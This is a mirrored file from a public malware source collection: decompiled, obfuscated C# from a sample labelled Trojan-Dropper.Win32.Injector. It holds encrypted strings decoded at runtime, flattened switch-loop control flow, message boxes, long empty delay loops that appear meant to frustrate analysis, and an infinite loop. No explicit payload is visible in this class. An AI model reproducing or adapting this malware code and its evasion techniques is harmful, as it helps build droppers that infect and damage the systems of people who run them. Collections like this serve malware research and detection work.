mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
122 lines
6.9 KiB
C#
122 lines
6.9 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: _2012_D.AM62ZEkEdo0R
|
||
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
||
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
|
||
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.Windows.Forms;
|
||
|
||
namespace _2012_D
|
||
{
|
||
[StandardModule]
|
||
internal sealed class AM62ZEkEdo0R
|
||
{
|
||
public static void nQeH1SuL()
|
||
{
|
||
label_2:
|
||
int num1 = 3;
|
||
string str;
|
||
bool flag;
|
||
Decimal num2;
|
||
while (true)
|
||
{
|
||
switch (num1)
|
||
{
|
||
case 0:
|
||
flag = true;
|
||
num2 = 760724M;
|
||
num1 = 2;
|
||
continue;
|
||
case 1:
|
||
goto label_7;
|
||
case 2:
|
||
do
|
||
{
|
||
str = \u003CCliSecureRT\u003E.cs("aÚô\u00138\u0018^F~ÏÒC\n\u000F\u0016J\u0011I\u0010¿uv\u0080\u0015<\u0013Å\u0089\u00917\u001C|\u000E8æ.\u0080È\u0097\u0004(n9Õ\u0096\u0083E\0âíw\b°ú!E\u0084Gª\u0004\u001Au_Îõ\u0002\u001AoÁ\u0019t\u001DN×îÛ\u0011òPÈÙ\u008Ek\vmÁ¡ûî\u0098`\u001A<\u001D¶¶¡[Wãù&ý/)£\u0096ëf·»ZϬFb\a\u007Fh5\u0084ç\u0006\u0003\u0004 q\u001Ae");
|
||
int num3 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("\u001Eý\u0018De]je\nÃá\\\u0001\u001D\u20C8o¦P\u0011´oWêˣNRÂJ±cd\u001E\u000F\u000F\u0093 \u008C´æO\u2075Sv\u008B\u008C\u00BC\ag̺H}\u00B9þ9T®Mu{'\u0017\u001A\u009Fª\u0001\u0011\"Ê4.\t\u206C\u0094øƽ\u001E⃫\u0018ÿₘ\u008D\"ZEÐûₗñú@\u007FJ⁞øµ\u008F1>\u00B3ò\u0004µ\u0014\u001F¡\u009AÆ″ÖÐa\u0097Ê$lMgƽfø\u0089Z/Y\u0003t‐L\tÕ\fnɱ\u0003<ŝ ¤·\u000F[a-i\u008D @©\u0086\rÊmR\u0095À\u009Bð\"ĿðE"));
|
||
flag = true;
|
||
}
|
||
while (false);
|
||
num1 = 1;
|
||
continue;
|
||
case 3:
|
||
int num4 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("@ûÒ6\u0015Pwa\u000F\u0088₨%R\u0015V*\u000ELxË\u001Ev\u0098\u2089\u001DK\u0083\u008D£⁋\u001Ao\u001E\u0004\u0081 \u0088©òW⁝_>m£¢\u0018⁘æþLYãáV4\u00B2\u0019±\u202DS0t\u0093É\u001Dc(\u009F~k\u000F(·à\u0099‿⃓\v₾\u0098ü6EG¦Jₖ\u20C7\u2080a+.\t¤Í¶b7é\u009F1₹W#¿ç\u00B3 »¦hóÓ\u0018#\0Z‶ÂÎùA[\u0014(ŀ’ \b±b}èW\u0001pȺ"));
|
||
str = \u003CCliSecureRT\u003E.cs("MûÊ^\u001C\u000FC\t\u0017ÂåG⁋⁑^zb.\u0013\u00BE‸\f\u2087\u007F⃚\u0010¦\u0097\u0088ʗa\nrbĢx¬\u00B3Ôh>wf®\u0084ä\u0006a\u0099ęzgÄ₊?b\u0088⁊¸\r7⁔\u0006\u009EÁY\tv\u009E&g");
|
||
num1 = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
label_7:
|
||
num2 = 1M;
|
||
flag = false;
|
||
int num5 = (int) Interaction.MsgBox((object) \u003CCliSecureRT\u003E.cs("UеG7RbL?êç\u0017E\u001C!k\u007F G¬\u0011ş\u2087ˣWI \u009A8\u0019#⁚c\u009AE\u009BÑ\u0091Is`!©\u0094®3<₋ý`M»\u009A\u0018f\u0096DÍ \fc‛ÚÎ\u0011FƊß1\u0006c^Ŷ\u0092\u009Aų®pò\u009Aée⁐\u202D \u0088Ɉ\u0082ô^f‵PWß®\u008Eõùǀ9ºJ\u0019\u00BE¬Ö•₽\u0083\tₓí\u001D\u0013;ť\u0018ʉþÄ7XOCAT※\tß‸Eây\a`\u0091\u0091¦&\n⁓!#ê^ú\u009EÉS\u001BY(¿Êøíbä\u001BƈbÿÂ\u0005"));
|
||
}
|
||
|
||
public static object ZStI7o2FrOIhdxe0()
|
||
{
|
||
int num1 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("\u2029\u0089\u2081Đ|&JO\u0019ÝÄ\u0019R'GG\fL ¶T\u0005ôfJZ£⃕\u00BD8\u2082u'7à{ò\u009AₕₐmZ2¶\u0087óB6₷ïƈnª\u0080⁕ů\u0093\u001D\u0096s⁍-\f\u0083ý8\nw₮\u0019z{,Áê\u20F6 ¶P\u20BFûÀe\u0010|À\u0096á\u0087ÝLĉ`⁏\u009D¦±q$¿Ã\u001CÆ-\u001AƼäà″\u0014Á_ß©.\u0006WWo*\u0095î\u0017\u00040ʢ\"ƻ"));
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex1)
|
||
{
|
||
ProjectData.SetProjectError(ex1);
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex2)
|
||
{
|
||
ProjectData.SetProjectError(ex2);
|
||
int num2 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("e\u0094ñS\u20FB\u0004 v\tî\u0083⁉!\u0011#LiBD»S₎\u0082\u0016*~⃝\u0089ÅnQ⁺\u001Ep\u009Fi\u00BE»Ûw\u0014\0"));
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
\u003CCliSecureRT\u003E.cs("[Ê‵Ģ#K4K\u0015Óþč\a\u2072Vb¤₱Y\u00B2BxØ\u0019\t|¡⃑\u008El \u0014s\nýB©¶\u0098“⁼ƽ,¡Þ\u0090\u0017⁙ýâ7»ÖǓ\r Ƹ\u0017Õ\0\u0004qFÀò\u0017S3â!");
|
||
int num3 = 830;
|
||
while (num3 <= 825)
|
||
{
|
||
\u003CCliSecureRT\u003E.cs("\u000F\u008F·\0b\tMfgã\u009C\u206E_87\u200B\u2085{\b¶|\u001Añ―\u0012jÑ\u0095×0C\u001C{{Ä&»¡\u0084_\r\u0005:Ì´µüdР˼ÃÆ⁔u\u0090\u0010µ\u007F\ni˼»â\0\rv\u0083v\u0006N/Ïò\u007Fd¨Jú\u0086Îq\u0006OÀñÀ\u2072ö ĉbU\u009A");
|
||
\u003CCliSecureRT\u003E.cs("\fÂÔ\u001A;⃝s_?\u0099Ö_8!Z9’<WÕU¯äIZ\t\u00BE¦Â\n„6w\u0011îQ⃮ÂÞuj\u001Bc|\u008CçQf\u009BןUá\u0089NLÄ\a¦U*Ü`È\u00B3\u001C£7Èʍt@O¯\u0081\u008Ek\u009F\u209D\u0085.\u0081K\u0004SÉûdzô\u009B\u0016hvV\u00B9Ê\u0099M\u001E \u008Fôµ!\rÑ\u0097¨+èƾZ\u2083Ã\u0016\u0015(gLIJî₯T\u000E\u0005G•\b}‸\u20C4ŝNÎ \u206F‸É\u0083°&\t?\u0012\u0015ÒX÷\u0098ùW⃩Q\u007F\u00B3Ý\u20F7\u0011'ïÃN]ÈË\u206D‖Æ\u0015\u009Et7\u001B\u0004ÊÕVIY\u009D>3eUÒ\u0086À^ðF\u0080äØ8");
|
||
int num4 = 6951155;
|
||
do
|
||
{
|
||
checked { ++num4; }
|
||
}
|
||
while (num4 <= 98000324);
|
||
\u003CCliSecureRT\u003E.cs("sØ\u00B35q-=A}Ê×T⁔\u20C4\u0016/¤gHÑUjÖ\u0005D’\u009Eö«\u0011Ŏ.x,ÇINÈÊX\u000EVQ\u008F\u009FƮVġä£w•Ǔ\u0084\u001F\u0082ÓZÊ\u0019ù7\u0015⃚ɀäS+\u009F\v\fR\\ÂÛ`‑⃒");
|
||
checked { ++num3; }
|
||
}
|
||
int num5 = 1;
|
||
do
|
||
{
|
||
checked { ++num5; }
|
||
}
|
||
while (num5 <= 999414563);
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex3)
|
||
{
|
||
ProjectData.SetProjectError(ex3);
|
||
int num6 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("l\u0085\t\"\u0016#__,\u0094Å\u0016CT^c\t9o±¯Űü―\u0017[⃚\u008Aµ\aZ\u206A9\u0015ₑLîÕ\u008A\u0011?\u0011k´\u009F´ĝ3\u0094·-»Ò\u0086⁓k\u0087TŪo+jtÑ\u00B9\u0014S₴ñ2-–⁗¤Í\u009E`⃪\nÜ\u20BF\u0089:L\t⃓\u0094è\u0090ãTÖ2\a¦\u008C⃮^\\\u202B/MÃ2\u0017ÑƐ¯I°¯KÝ°\u0017\u001C\u2069P‵\u0003ù\u0081\"Iⁱ\u0010a\u0017lŰdVNúX\f[\u009A\u0093⃬Ü\u0011`xt₨6âÅÐf+\u2083S\u0094\u0098\u0088)?òæNXÄìX_Õ\f\u009A}\u206E"));
|
||
\u003CCliSecureRT\u003E.cs("^\u008E®E\u0006CZK\f×\u0099ʶ\u001AN⁔lY!r\u0083lR\u0085W#y⁐⃕Û\u2061¡({2é@ü¨è\0a\t.\u009E±\u008C");
|
||
int num7 = 1;
|
||
do
|
||
{
|
||
checked { ++num7; }
|
||
}
|
||
while (num7 <= 40137434);
|
||
while (true)
|
||
;
|
||
}
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
return (object) 647821188;
|
||
}
|
||
}
|
||
}
|